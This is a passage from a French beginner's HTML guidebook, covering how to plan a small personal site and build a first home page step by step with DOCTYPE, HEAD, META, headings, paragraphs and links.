j Un éditeur HTML a pour but d’éviter la saisie manuelle souvent
fastidieuse des caractères spéciaux, des codes couleur, de
l’encodage des balises, etc.
j Les éditeurs HTML peuvent être commerciaux ou gratuits,
WYSIWYG (What You See Is What You Get) ou en texte brut.
j Les navigateurs ne traitent pas tous le HTML de la même façon :
pour bénéficier d’une audience maximale, il est important de
connaître ceux employés par votre public et d’adapter votre code
en conséquence.
j Le marché des navigateurs évolue avec le temps : Netscape
Navigator, au début le seul navigateur existant, a été concurrencé
peu à peu par Internet Explorer qui l’a finalement supplanté. Un
nouveau venu, Firefox, s’implante de plus en plus.
j Un « agent utilisateur » est un programme capable de
comprendre le langage HTML. Les navigateurs sont des agents
utilisateurs visuels, mais il existe d’autres agents utilisateurs,
comme les convertisseurs texte-parole (agents utilisateurs audio),
les robots des moteurs de recherche, etc.

42 LE GUIDE COMPLET
 Conception
de votre première
page Web

Conception du site ............................................................................................................... 44

Création de la page d’accueil ........................................................................................... 47
Résumé ................................................................................................................................... 69
 Chapitre 3 Conception de votre première page Web

Vous avez choisi un ou plusieurs éditeurs de pages Web, avez téléchargé

et installé éventuellement quelques navigateurs complémentaires à fin de
test : vous êtes prêt à passer à la conception de votre site.

Éléments étudiés dans ce chapitre :

j !DOCTYPE
j HTML
j HEAD, TITLE, META
j BODY, Hn, P, A, BR

3.1. Conception du site

Tout d’abord, prenez un peu de temps pour réfléchir, si possible avec
une feuille de papier et un stylo. Pour bien concevoir votre site dès les
premiers instants, vous devez en prévoir dès le début sa structure et son
contenu. Il sera bien sûr toujours possible de procéder à des
modifications par la suite (vous n’y manquerez d’ailleurs pas), mais le
temps consacré à cette réflexion initiale sera largement amorti !

Un site peut être considéré comme une arborescence contenant les

éléments suivants :
j Une page d’accueil, avec une barre de navigation.
j Une ou plusieurs pages secondaires, dont certaines peuvent
également comporter une nouvelle barre de navigation : cela
correspond à une nouvelle ramification de l’arborescence.
j Éventuellement des pages tertiaires, et ainsi de suite…

Le site le plus simple ne comporte qu’une page, tandis que les sites
complexes peuvent posséder de très nombreuses ramifications. Dans ce
dernier cas, le site propose souvent une carte du site, destinée à faciliter
la navigation des utilisateurs (voir Figure 3.1).

Sur votre feuille de papier, commencez à tracer l’arborescence de votre

site, en figurant chaque page par un rectangle (pas trop petit !). Dans
chaque rectangle, donnez un titre à la page, puis notez un aperçu du
contenu prévisionnel.

N’hésitez pas à répartir des informations trop abondantes en plusieurs

pages. Les questions à se poser à ce stade sont les suivantes :

44 LE GUIDE COMPLET
 Conception du site Chapitre 3

Figure 3.1 : Page de plan du site du portail de l’administration française

([Link]/aide/[Link])

j Quel est le but de ce site ?

j L’information proposée est-elle utile ?
j Une même page ne comporte-t-elle pas trop d’informations ? Si
oui, est-il possible de diviser logiquement ces informations ?
j La structure obtenue est-elle équilibrée et pertinente ?

Dans le cadre de l’exemple de ce livre, le site envisagé est présenté dans

la figure suivante.

Page
d’accueil

Ma Ma Mes
région famille passions Figure 3.2 :
Ébauche du plan de
notre site présenté
dans l’ouvrage

LE GUIDE COMPLET 45
 Chapitre 3 Conception de votre première page Web

Cela fait, vous êtes prêt à débuter réellement la création de la première

page de votre site Web. Vous allez commencer par la page la plus
importante, la page d’accueil. À la fin de ce chapitre, vous aurez créé
une page identique à celle de la figure qui suit, dont le code est présenté
dans le listing suivant.

Figure 3.3 :
Page d’accueil telle que conçue
à la fin de ce chapitre

Listing 3-1 : Page d’accueil telle que conçue à la fin de ce chapitre (version 1.3.3)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Ma page d’accueil"</TITLE>
<META name="author" content="mon nom">
<META name="version" content="1.3.3">
</HEAD>
<BODY>
<H1 align="center">Ma page d’accueil</H1>
<H2 align="center">Bienvenue sur mon site.</H2>
<P>Vous trouverez sur ce site des informations :<BR>
sur ma <A href="[Link]">région</A> ;<BR>
sur ma <A href="[Link]">famille</A> ;<BR>
sur mes <A href="[Link]">passions</A>.</P>
<P align="center"><A href="[Link]
Ecrivez-moi !</A>.</P>
</BODY>
</HTML>

Nous allons procéder pas à pas pour la création de cette page, en

expliquant à chaque étape les instructions et éléments employés.

46 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

3.2. Création de la page d’accueil

La page d’accueil est la page la plus importante d’un site : c’est elle qui
incitera le visiteur à examiner plus en détail le site ou à le quitter
immédiatement. Il existe de nombreuses façons de rendre attrayante une
page d’accueil (ou d’ailleurs toute page) : vous les découvrirez peu à
peu au fil de la lecture de ce livre.

Il est fréquent de se contenter d’une ébauche de page d’accueil au

moment de la construction du site, pour la fignoler en dernier lieu. Il ne
s’agit donc pour le moment que de créer une première page relativement
simple. Gardez bien présent à l’esprit que, à partir de HTML 4, le plus
important concerne la structure de la page. La majorité des
enjolivements sont facilement ajoutés par la suite.

La démarche est ici très similaire à celle recommandée lors de la

rédaction d’un document à l’aide d’un traitement de texte : vous
commencez par une frappe « au kilomètre », en privilégiant la structure
(les phrases, paragraphes, chapitres et autres subdivisions) par rapport
aux enrichissements qui ne seront apportés qu’ultérieurement,
généralement à l’aide d’une feuille de style.

En effet, une page Web n’est en réalité guère plus qu’un fichier texte
pourvu d’un ensemble de balises de spécification permettant l’affichage
dans un navigateur Web (il en va de même dans votre traitement de
texte, mais ces balises internes sont masquées).

Pour insister sur ce fait, les premiers travaux seront effectués

uniquement à l’aide du Bloc-Notes. Nous vous conseillons de créer sur
votre disque dur, à l’emplacement de votre choix, un nouveau dossier
nommé par exemple MonSiteWeb : vous y rassemblerez tous les fichiers
du site Web. Sinon, par défaut, le Bloc-notes devrait créer vos fichiers
dans Mes Documents.

Instruction !DOCTYPE
HTML ayant connu de nombreuses révisions pendant son histoire, il
était nécessaire d’informer l’agent utilisateur de la version HTML
employée. Cela est effectué à l’aide de l’instruction !DOCTYPE
(d’ailleurs automatiquement insérée en tête d’un document Web par la
plupart des éditeurs HTML). Vous verrez par la suite comment utiliser

LE GUIDE COMPLET 47
 Chapitre 3 Conception de votre première page Web

!DOCTYPE lorsque vous aurez recours à des feuilles de style en cascade,

à des cadres ou à XML.

Commencez la création de la première page de votre site.

1 Ouvrez le Bloc-Notes (Démarrer >> Tous les programmes >>
Accessoires >> Bloc-notes Windows ou Démarrer >> Exécuter >>
Notepad).
2 Saisissez comme première ligne de votre document HTML :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
j L’instruction <!DOCTYPE> indique ici que ce document
respecte la définition de type de document HTML 4.01, telle
que définie par le W3C et disponible à l’adresse [Link]/TR
/REC-html4/[Link] Nous choisissons ici le DTD transitoire
pour pouvoir par la suite employer les éléments déconseillés
(essentiellement ceux permettant de modifier la présentation
dans le document HTML), interdits dans le DTD strict.
j Remarquez que cet élément est dépourvu de balise de
fermeture. Vient ensuite l’élément HTML signalant le début
d’un document HTML.

3 Appuyez sur [Ä], puis saisissez <HTML> pour débuter la page.

Appuyez sur [Ä], puis fermez immédiatement l’élément HTML en
saisissant sa balise de fermeture </HTML>.

Fermez toujours un élément après l’avoir ouvert

Même si HTML tolère un certain nombre d’erreurs de syntaxe, une
bonne habitude à prendre consiste à toujours fermer un élément
immédiatement après l’avoir ouvert, puis à saisir le contenu entre les
deux balises. Cela évite d’oublier de fermer un élément par la suite, ce
qui peut entraîner des résultats inattendus. C’est d’ailleurs ainsi que
procède un éditeur HTML, comme vous le constaterez vous-même.

4 Par sécurité, enregistrez votre fichier sous le nom

pageacc1_0.html. Assurez-vous de bien choisir une extension
.html, même si .htm pourrait être suffisant, afin d’indiquer au
navigateur que le fichier est de type HTML et doit être interprété
en conséquence. Ne fermez ni le fichier ni le Bloc-notes.

48 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

Enregistrement au format HTML

Selon l’outil d’édition employé, enregistrer un document au format
HTML peut être enfantin ou plus complexe. Un éditeur Web utilise
généralement par défaut le format HTML (avec comme extension .html
ou .htm). En revanche, un éditeur de texte simple, comme le Bloc-Notes,
ou un traitement de texte, tel que Word ou WordPerfect, peuvent rendre
nécessaire de modifier le type de fichier lors de l’enregistrement. Si vous
éprouvez des difficultés à ouvrir un document Web créé à l’aide d’un
traitement de texte ou d’un éditeur de texte simple, vérifiez l’extension
du nom du fichier et le type de fichier, afin de vous assurer qu’il a bien
été enregistré au format HTML.

Élément HEAD
Le premier élément enfant de l’élément HTML est l’élément HEAD.
Celui-ci, l’en-tête du document, contient de nombreuses informations
importantes qui intéressent le navigateur. À l’exception du contenu de
l’élément TITLE, le contenu de l’élément HEAD n’apparaît pas dans ce
qui est affiché directement dans le navigateur Web. Vous pouvez donc y
placer des commentaires, des informations destinées aux moteurs de
recherche, des avertissements relatifs aux droits d’auteur, ainsi que du
code de script. C’est également dans cet élément que doivent se trouver
les informations relatives aux feuilles de style. Cet élément est le
premier du fichier HTML à être chargé et donc lu par le navigateur.
1 Revenez au document précédemment créé (pageacc1_0.html), s’il
est toujours ouvert. Sinon, ouvrez le Bloc-Notes, puis ouvrez le
fichier.
2 Placez-vous en dessous de la balise d’ouverture <HTML> (mais
au-dessus de la balise de fermeture </HTML>), appuyez sur [Ä],
puis saisissez <HEAD> pour débuter la section d’en-tête. Le
contenu de cet élément n’apparaît pas dans le navigateur Web.
Comme vous l’avez fait précédemment, et pour les mêmes
raisons, fermez immédiatement l’élément HEAD en appuyant sur
[Ä], puis en saisissant sa balise de fermeture </HEAD>.

Élément TITLE
Un élément indispensable dans l’élément HEAD est l’élément TITLE
(titre), qui définit le texte affiché dans la barre de titre de la fenêtre de
votre navigateur.

LE GUIDE COMPLET 49
 Chapitre 3 Conception de votre première page Web

1 Placez-vous en dessous de la balise d’ouverture <HEAD>, appuyez

à nouveau sur [Ä], puis ajoutez la balise d’ouverture <TITLE>
pour définir le titre de la page. Ce titre sera affiché dans la barre
de titre de la fenêtre du navigateur. Fermez l’élément TITLE en
saisissant </TITLE>.
2 Revenez juste après la balise <TITLE>, puis saisissez le titre de la
page, ici "Ma page d’accueil". Appuyez sur [Ä].

Élément META
Autre composant capital de l’élément HEAD, l’élément META est un
moyen de procurer des informations concernant votre site aux moteurs
de recherche, à d’autres auteurs Web et à des serveurs Web. Vous pouvez
y placer pratiquement n’importe quel type d’information. Cet élément
est dépourvu de balise de fermeture.

Un élément META est un élément vide (dépourvu de contenu) dont la

syntaxe est la suivante :
<META name="valeur" content="valeur">

L’attribut name définit ce que la valeur de content va décrire. Par

exemple, la valeur de name peut être "datetime" : l’agent utilisateur
sait alors que les chiffres et les lettres de content correspondent à une
date et à une heure, probablement celles de la dernière modification. La
balise de fermeture d’un élément META est facultative.

XHTML
Comme pour tout élément vide, un élément META doit être rédigé
comme suit en XHTML :
<meta name="nom" content="contenu" />
Rien ne vous empêche d’adopter d’ores et déjà cette syntaxe dans vos
documents HTML.

Un élément HEAD peut posséder un nombre quelconque d’éléments

META. Ceux-ci permettent de fournir de nombreuses informations utiles
concernant votre page, comme l’auteur ou la version, ce que vous allez
faire maintenant.
1 Placez-vous sur la ligne vierge en dessous de l’élément TITLE.
Saisissez <META name="author" content="votre_nom">

50 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

(où votre_nom est votre nom), appuyez sur [Ä], puis saisissez
<META name="version" content="1.0">.
2 Par sécurité, enregistrez à nouveau votre fichier sous le nom
pageacc1_0.html. Ne fermez ni le fichier ni le Bloc-Notes.

Les éléments META sont en outre particulièrement utiles pour faire

reconnaître votre page par les robots de recherche du genre AltaVista ou
Google.
<META NAME="description" CONTENT="description de la page">

Cette balise indique que le contenu de CONTENT est la description de

votre page HTML. Ce contenu pourra être affiché par un moteur de
recherche comme résultat d’une recherche d’un utilisateur.
<META NAME="keywords" CONTENT="mot-clé1, mot-clé2, ...">

Cette balise indique que le contenu de CONTENT est une série de

mots-clés qui définissent plus finement votre page.

Autre élément META fréquent, celui qui indique le nom du générateur du

document, généralement inséré automatiquement par votre éditeur
HTML :
<meta name="generator" content="nom_du_générateur">

Figure 3.4 :
Certains éditeurs insèrent
automatiquement diverses
instructions META, dont le nom du
générateur.

Expressions anglophones
Rien n’impose que la valeur de name soit exprimée en anglais. Vous
pouvez tout à fait légalement retenir name="auteur" et name="mots
clés". Comme toutefois ces méta-informations sont généralement
exploitées par des agents anglophones (la quasi-totalité des moteurs de
recherche), mieux vaut, pour plus d’efficacité, conserver les expressions
anglophones.
Toute personne examinant le code source de la page peut lire les
informations présentes dans l’élément HEAD, mais celles-ci ne sont pas
affichées dans le texte du document.

LE GUIDE COMPLET 51
 Chapitre 3 Conception de votre première page Web

Affichage source
Pratiquement tous les navigateurs permettent d’examiner le code
HTML source d’une page Web affichée dans votre navigateur, à l’aide
d’une commande ressemblant à Affichage >> Source. Cette commande se
trouve dans Internet Explorer, dans Netscape Navigator et dans Firefox
dans le menu Affichage de la barre de menus.

L’élément HEAD doit également englober tout script et information de

feuille de style, respectivement dans des éléments SCRIPT, LINK et
STYLE (nous y reviendrons par la suite). Un exemple d’un élément
HEAD simple est montré dans le Listing 3.2, correspondant à l’en-tête de
la page présentée sur la figure suivante.

Figure 3.5 : Page d’accueil de MicroApplication

Figure 3.6 :
Accès au code source de la
page d’accueil de
MicroApplication depuis
Internet Explorer

52 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

Figure 3.7 : Accès au code source de la page d’accueil de MicroApplication

depuis Firefox

Listing 3-2 : Extrait de la section HEAD de la page d’accueil de MicroApplication

<HEAD>
<TITLE>Micro Application - Editeurs de livres d’informatique,
de cd-rom et de papiers d’impression.</title>
<META NAME="description" CONTENT="Edition de livres
d’informatique, de cd-rom et de papiers d’impression. 15
thématiques(bureautique, architecture, linux, windows, gravure,
musique, mp3, culture, décoration, jeux de cartes, photo,
programmation, création de sites, impression, utilitaires).">
<META NAME="keywords" CONTENT="micro application, librairies
informatique, livres informatique, logiciel architecture,
architecture 3D, logiciel decoration, logiciel gravure, papier
imprimante, papier photo, impression papier, telechargement
logiciels, jeux cartes, formation web, cartes visites, achat
livres">
<META NAME="Author" CONTENT="Micro Application">
<LINK ... >
<SCRIPT>...</SCRIPT>
</HEAD>

Élément BODY
L’élément BODY renferme l’essentiel : le corps du document. Tout son
contenu est visible dans le navigateur : texte, graphismes, liens
hypertextes, etc. La seule façon de masquer une information consiste à
la placer dans une balise de commentaire.
1 Revenez au document précédemment créé (pageacc1_0.html) s’il
est toujours ouvert. Sinon, ouvrez le Bloc-Not0es, puis ouvrez le
fichier.
2 Placez-vous après la balise </HEAD>, appuyez sur [Ä], puis
débutez le corps du document en saisissant <BODY>. Comme

LE GUIDE COMPLET 53
 Chapitre 3 Conception de votre première page Web

précédemment, refermez l’élément BODY en appuyant sur [Ä] puis

en saisissant </BODY>.

Comme cela a été souligné, l’élément BODY de votre page Web ne doit
pas être dépourvu de structure et de forme : tout « bon » document doit
posséder une structure organisée. Traditionnellement, la structure se
compose de titres de niveaux divers et de paragraphes de texte.

Titres : élément Hn
Les titres sont obtenus en HTML à l’aide de l’élément Hn, où n est un
chiffre compris entre 1 et 6, correspondant au niveau du titre : H1 est un
titre principal (souvent identique au contenu de l’élément TITLE), H2 un
sous-titre, etc.
3 Pour commencer une page « bien structurée », débutez par un titre
de niveau 1. Placez-vous à la fin de la balise <BODY>, puis
appuyez sur [Ä]. Saisissez <H1></H1> (pour refermer
immédiatement l’élément).
4 Placez-vous entre les deux balises, et saisissez ensuite le titre de
la page : Ma page d’accueil (sans guillemets). Votre site Web
possède maintenant un titre de premier niveau.
5 Créez un titre de niveau 2 : placez-vous à la fin de la ligne
précédente, appuyez sur [Ä] puis saisissez <H2></H2> (pour
refermer immédiatement l’élément). Placez-vous entre les deux
balises, et saisissez ensuite : Bienvenue sur mon site.
Appuyez sur [Ä].
6 Toujours par sécurité, enregistrez à nouveau votre travail sous le
même nom.

Un titre peut se trouver n’importe où dans l’élément BODY, c’est-à-dire

dans le corps du document. Il s’agit d’un élément bloc, ce qui signifie
qu’un saut de ligne est effectué avant et après l’élément.

Le tableau suivant détaille les différents éléments titre.

Tableau 3.1 : Élément titre (Hn)

Titre Balise Utilisation

Titre 1 <H1> Titre du niveau supérieur : en général celui de la page ou

un titre de chapitre.

54 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

Tableau 3.1 : Élément titre (Hn)

Titre Balise Utilisation

Titre 2 <H2> Titre de second niveau : section ou partie d’un

document.

Titre 3 <H3> Sous-sections d’un document : ces trois niveaux suffisent

le plus souvent, en terme de structure.

Titre 4 <H4> Peu utilisé pour la structure.

Titre 5 <H5> Peu utilisé pour la structure, mais servant de façon

abusive pour des avertissements en petits caractères,
comme des informations légales ou de droits d’auteur.

Titre 6 <H6> Sert souvent de façon abusive pour des avertissements

en petits caractères, comme des informations légales
ou de droits d’auteur.

Les titres constituent un élément essentiel de la structure d’un document.

De nombreux auteurs les emploient toutefois comme raccourcis de mise
en forme : au lieu de modifier directement la police d’un texte (ce qui
est d’ailleurs à déconseiller), ils l’incorporent dans un élément titre
offrant un aspect similaire à celui qu’ils veulent obtenir.

Techniquement parlant, cette utilisation est incorrecte, tous les

navigateurs n’affichant pas les titres de la même façon. Il est toutefois
exact que la plupart des navigateurs affichent les titres des trois niveaux
supérieurs (1 à 3) en polices de grandes tailles, tandis que les autres
niveaux (5 et 6) sont affichés en polices plus petites, souvent en gras.

Pour obtenir une structure parfaite, il est donc déconseillé de recourir

aux titres uniquement pour obtenir l’aspect souhaité : les niveaux de titre
ne doivent pas présenter d’interruption.
<H1>…</H1>
<H2>…</H2>
<H3>…</H3>
…
<H3>…</H3>
…
<H2>…</H2>
…

est correct.
<H1>…</H1>
<H2>…</H2>
<H4>…</H4>

LE GUIDE COMPLET 55
 Chapitre 3 Conception de votre première page Web

…
<H4>…</H4>
…
<H2>…</H2>
…

ne l’est pas.

Si vous voulez obtenir l’aspect d’un titre de niveau 4 pour votre titre de
niveau 3, modifiez le style de l’élément H3, de préférence à l’aide d’une
feuille de style. N’employer les titres qu’à des fins structurelles. Si votre
public n’utilise que des navigateurs textuels (comme Lynx), ou si votre
site s’adresse à des personnes souffrant de handicaps, les titres doivent
être utilisés à bon escient. Cela épargnera à vos visiteurs employant des
navigateurs en mode texte (comme Lynx) de sérieuses difficultés lorsque
leur navigateur « non standard » affichera (ou de lire à haute voix) votre
texte de façon incohérente. Les convertisseurs texte-parole emploient en
effet souvent une inflexion particulière ou un signal lorsqu’ils
rencontrent un élément HTML particulier, comme justement un titre.

Titres et moteurs de recherche

Les principaux moteurs de recherche se servent désormais
principalement de la structure du document définie par les titres pour
cataloguer un document. Initialement, ils n’avaient recours qu’aux
éléments TITLE ou META, mais ils se sont rapidement rendu compte que
des concepteurs peu scrupuleux surchargeaient ces éléments de mots-clés
n’ayant rien à voir avec le contenu réel du site, simplement pour attirer
plus de visiteurs.
En parcourant les titres, un moteur de recherche peut appréhender la
structure du document et ainsi le cataloguer avec une meilleure précision.
Si les éléments essentiels de votre site apparaissent dans vos titres, votre
page Web possède des chances maximales de se retrouver classée dans la
catégorie adéquate, là où la cherche le public visé.

Titres de documents et outils de vérification

Les outils de vérification HTML (comme le validateur W3C
disponible à l’adresse [Link] se servent également des titres
pour reconstituer la structure du document. Cela sert généralement à
l’auteur de la page : il peut regarder si la structure du document est bien
représentée par les titres, ou si la page gagne à être réorganisée.

56 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

Paragraphes de texte : élément P

Toute page Web est essentiellement composée de texte : ne laissez
jamais les graphismes attrayants, les animations époustouflantes et
autres compléments vous masquer ce fait. Les gens vont sur le Web pour
trouver des informations, pas pour admirer l’image d’un avion de ligne
traversant l’écran.
L’élément texte fondamental est le paragraphe défini par l’élément P. Il
n’exige pas de fermeture (la balise </P> est facultative), bien que cela
soit préférable pour créer une page structurée possédant des exigences
de validation stricte.
Un simple retour chariot ne possède aucune signification en HTML : le
navigateur n’en tient pas compte et ne le remplace même pas par un
simple espace. Pour commencer un nouveau paragraphe, veillez à bien
employer la balise <P>.
1 Revenez au document pageacc1_0.html.
2 Créez un paragraphe : placez-vous sur la ligne vierge en dessous
du titre de niveau 2, puis saisissez <P></P> (pour refermer
immédiatement l’élément). Placez-vous entre les deux balises, et
saisissez ensuite une phrase quelconque, par exemple : Vous
trouverez sur ce site des informations sur ma
région, ma famille et mes passions.
3 Nous allons nous arrêter là dans un premier temps. Enregistrez à
nouveau votre fichier, toujours sous le nom pageacc1_0.html.

Ce que vous avez saisi jusque-là devrait ressembler au listing suivant.

Listing 3-3 : Première page d’accueil.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Ma page d’accueil"</TITLE>
<META name="author" content="mon nom">
<META name="version" content="1.0">
</HEAD>
<BODY>
<H1>Ma page d’accueil</H1>
<H2>Bienvenue sur mon site.</H2>
<P>Vous trouverez sur ce site des informations sur ma région,
ma famille et mes passions.</P>
</BODY>
</HTML>

LE GUIDE COMPLET 57
 Chapitre 3 Conception de votre première page Web

Il est temps d’examiner cette page à l’aide de votre navigateur. Ouvrez

celui-ci, puis naviguez jusqu’au fichier pageacc1_0.html. Vous devriez
voir quelque chose de similaire à ce qui est présenté dans les figures qui
suivent : aucune différence n’apparaît que vous utilisiez Internet
Explorer 6 ou Firefox. Remarquez que le contenu de l’élément TITLE
apparaît dans la barre de titre de la fenêtre du navigateur, le reste du
contenu de l’élément HEAD restant invisible : seul le contenu de
l’élément BODY est affiché.

Figure 3.8 :
L’aspect de cette page
avec Internet Explorer
6

Figure 3.9 :
L’aspect de cette page
avec Firefox

Difficile de faire plus simple ! Difficile aussi de faire plus laid, hélas…
En outre, pour le moment, il n’existe aucune relation entre cette page
d’accueil et les autres pages du site, que nous avions pourtant prévues
dans notre conception initiale. Nous allons d’abord ajouter les liens vers
les autres pages, puis améliorer un peu l’aspect de la page. Nous
créerons ensuite les pages secondaires.

58 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

Lien hypertexte : élément A

Pour effectuer un lien entre une partie quelconque (ou presque) de votre
page et une autre ressource Internet pouvant se trouver n’importe où (sur
la même page, sur une page différente située sur le même site, sur une
page située sur un autre site, vers un fichier ou une image situé à un
emplacement quelconque), il est fait appel à l’élément A (anchor,
signifiant « ancre »), un élément de type ligne (sans saut de ligne après
l’élément).

Les liens hypertextes sont ce qui fait le World Wide Web (ou WWW, ou
toile d’araignée mondiale). Ce sont eux qui permettent de passer de page
en page et de site en site, d’un bout à l’autre de la planète. En vérité, cet
élément, pourtant simple d’utilisation, est probablement le plus
important de tout le langage HTML, étant donné sa puissance
intrinsèque.

La syntaxe de l’élément A est la suivante :

<A [name="nom_lien"] [id="id_lien"] href="emplacement de la
ressource">contenu servant de lien</A>

Chaque élément A définit une ancre. Au sein de cet élément, l’attribut

href fait de cette ancre la source d’exactement un lien, tandis que le
contenu de l’élément A définit la position de l’ancre. L’attribut name,
facultatif, nomme l’ancre (pour qu’elle puisse être la destination de zéro
ou plusieurs liens. Il en est de même de l’attribut id).

Valeur d’attribut
Les auteurs peuvent également créer un élément A qui ne spécifie
aucune ancre (qui ne spécifie aucun attribut href, name ou id). Les
valeurs de ces attributs peuvent être fixées par la suite au moyen de
scripts.

Attribut href et URI

La valeur de l’attribut href, emplacement_de_la ressource, porte le nom
d’identifiant de ressource uniforme ou URI (Universal Resource Identifier),
terme désormais préféré à l’ancien URL ou localisateur de ressource
uniforme (URL, Universal Resource Locator). Le rôle d’un URI est
capital : chaque ressource disponible sur le Web (document HTML,

LE GUIDE COMPLET 59
 Chapitre 3 Conception de votre première page Web

image, séquence vidéo, programme, etc.) possède une adresse

représentée sous la forme d’un URI.

Un URI est formé de trois parties distinctes :

1 Le nom du protocole servant à accéder à la ressource.
2 Le nom de la machine hébergeant la ressource.
3 Le nom de la ressource en question, indiqué sous la forme d’un
chemin d’accès.

Considérez comme exemple l’URI qui désigne la page des rapports

techniques (TR, Technical Reports) du W3C :
[Link]

Cet URI peut être compris comme suit : il est disponible via le protocole
HTTP, hébergé sur la machine nommée « [Link] », et accessible
par le chemin « /TR ».

HTTP
HTTP est le sigle de HyperText Transfer Communication Protocol. C’est
le protocole, ou méthode de communication, employé par un navigateur
Web pour requérir une ressource Web auprès d’un serveur. Le terme
http:// précède toujours une adresse URI ; il est placé avant les noms
du domaine et de la machine. Internet dispose d’autres protocoles de
communication : HTTP sécurisé (https), courrier électronique (mailto)
et protocole de transfert de fichiers (ftp) sont tous d’autres exemples de
protocoles largement utilisés, que vous rencontrerez sans aucun doute.

Il s’agit ici d’une adresse URI dite exclusive, utilisée pour les sites situés
à l’extérieur de votre propre domaine.

Il existe un autre type d’adresse URI, l’URI relative, qui localise un

document selon sa relation avec le document actuellement visualisé. Si
le document courant est dans un dossier, et que le document lié (nommé
pour l’exemple [Link]) est dans ce même dossier, il peut être relié en
utilisant simplement :
<A href="[Link]">

Remarquez, pour les URI locaux, l’absence du préfixe [Link]

60 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

Au sein de la chaîne de texte du chemin, vous pouvez employer les

classiques modificateurs :
../ demande de monter d’un niveau dans l’arborescence par rapport au
document actif :
<A href="../[Link]">

Pour atteindre un sous-dossier, saisissez son nom puis une barre oblique
et enfin le nom du fichier, comme dans :
<A href="dossier/[Link]">

Vous pouvez les combiner à votre guise :

<A href="../dossier/[Link]">

Une barre oblique placée au début de l’URI signifie qu’il faut remonter
à la racine du domaine :
<A href="/[Link]">

Les agents utilisateurs restituent généralement les liens de façon à les

mettre en évidence pour les utilisateurs (soulignage, vidéo inverse, etc.).
La restitution exacte dépend de l’agent utilisateur. La restitution peut
varier si l’utilisateur a ou non déjà visité le lien. De façon générale, le
pointeur se transforme en main lorsqu’il se trouve sur un lien.

Figure 3.10 : La plupart de navigateurs signalent un lien, et l’affichent de

façon différente lorsqu’il a déjà été visité (ici, Logiciels en téléchargement).

Attributs name et id
Ces attributs spécifient un nom ou un identifiant pour l’ancre, de façon à
ce que celle-ci puisse être ciblée par un autre lien. Ils partagent le même
espace de noms, ce qui signifie qu’ils ne peuvent pas tous deux définir

LE GUIDE COMPLET 61
 Chapitre 3 Conception de votre première page Web

une ancre avec le même nom dans le même document. Quand les deux
attributs sont utilisés sur un même élément, leurs valeurs doivent être
identiques.

Voici une ancre nommée :

<A name="intro">Introduction</A>

Pour y faire référence depuis une autre ancre, vous procédez comme
suit :
<A href="#intro">Introduction</A>

Ce qui pourrait être mis en œuvre comme suit :

<H1>Sommaire</H1>
<P><A href="#intro">Introduction</A><BR>
<A href="#historique">Historique</A><BR>
<A href="#chap1">Chapitre 1 </A><BR>
...le reste du tableau des matières...
...le corps du document...
<H2><A name="intro">Introduction</A></H2>
...contenu...
<H2><A name="historique">Historique</A></H2>
...contenu...
<H3><A name="histo1">Au commencement</A></H3>
...contenu...

Nous présentons ici l’attribut name employé avec un élément a, mais

une ancre sert en réalité rarement de cible à une autre ancre. L’attribut
name n’est employé que pour relativement peu d’éléments. L’attribut
id joue en revanche un rôle analogue et peut être employé avec tous les
éléments sauf BASE, HEAD, HTML, META, SCRIPT, STYLE et TITLE.
L’exemple précédent serait ainsi plus probablement écrit :
<H1>Sommaire</H1>
<P><A href="#intro">Introduction</A><BR>
<A href="#historique">Historique</A><BR>
<A href="#chap1">Chapitre 1 </A><BR>
...le reste de la table des matières...
...le corps du document...
<H2 id="intro">Introduction</H2>
...contenu...
<H2 id="historique">Historique</H2>
...contenu...
<H3 id="histo1">Au commencement</H3>
...contenu...

Notez qu’une ancre (ou lien) ainsi employée porte fréquemment le nom
de signet, pour la différencier d’un lien menant vers une autre page Web.

62 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

Il est également possible de concevoir un lien hypertexte qui déclenche

l’envoi d’un courrier électronique lorsqu’un utilisateur clique dessus. Au
lieu de [Link] utilisez mailto: suivi de l’adresse électronique de
destination :
<A "[Link]

Remarquez, pour un lien de message électronique, l’absence de barre

oblique.

Ajoutez maintenant des ancres à votre page d’accueil.

1 Ouvrez le Bloc-Notes, puis le fichier précédemment créé
(pageacc1_0.html).
2 Vous allez modifier la version en entrant comme suit la balise
META stipulant la version :
<META name="version" content="1.3.2">

Convention sur les numéros de version

Traditionnellement, un numéro de version comporte deux ou trois
nombres séparés par des points. Le premier nombre, à gauche,
correspond au numéro de version majeur : il reste identique tant que des
modifications radicales n’ont pas été apportées. Le second numéro
correspond au numéro de version mineur : des modifications plus
secondaires. Le troisième nombre, s’il est présent, correspond
généralement à des modifications très secondaires, souvent liées à
l’éradication de bogues ou la correction d’erreurs.
Dans le cadre de ce livre, nous employons la convention suivante, très
proche de la convention académique :
j le premier nombre correspond à la version majeure ;
j le second correspond au chapitre concerné ;
j le troisième, à l’ordre d’apparition du code dans le chapitre.

La nouvelle version de notre page d’accueil est donc la 1.3.2.

Vous allez maintenant créer des ancres. Celles-ci vont pour le moment
pointer vers des pages inexistantes, mais cela n’a pas encore
d’importance.
3 Insérez l’élément lien hypertexte avant le mot ou la phrase et
n’oubliez pas de fermer l’élément A après le mot servant de lien :

LE GUIDE COMPLET 63
 Chapitre 3 Conception de votre première page Web

<P>Vous trouverez sur ce site des informations sur ma

<A href="[Link]">région</A>, ma <A href="[Link]">
famille</A> ; et mes <A href="[Link]">passions</A>.</P>
j Remarquez qu’il est employé ici un lien relatif : les fichiers
[Link], [Link] et [Link] seront placés dans le
même dossier que la page d’accueil.
4 Ajoutez un nouveau lien permettant de vous envoyer un message.
Placez-vous après la balise </P>, appuyez sur [Ä] et saisissez sur
la nouvelle ligne :
<P align="center"><A href="[Link]
Ecrivez-moi !</A>.</P>
j votre_nom@votre_FAI correspond bien sûr à votre adresse
électronique.
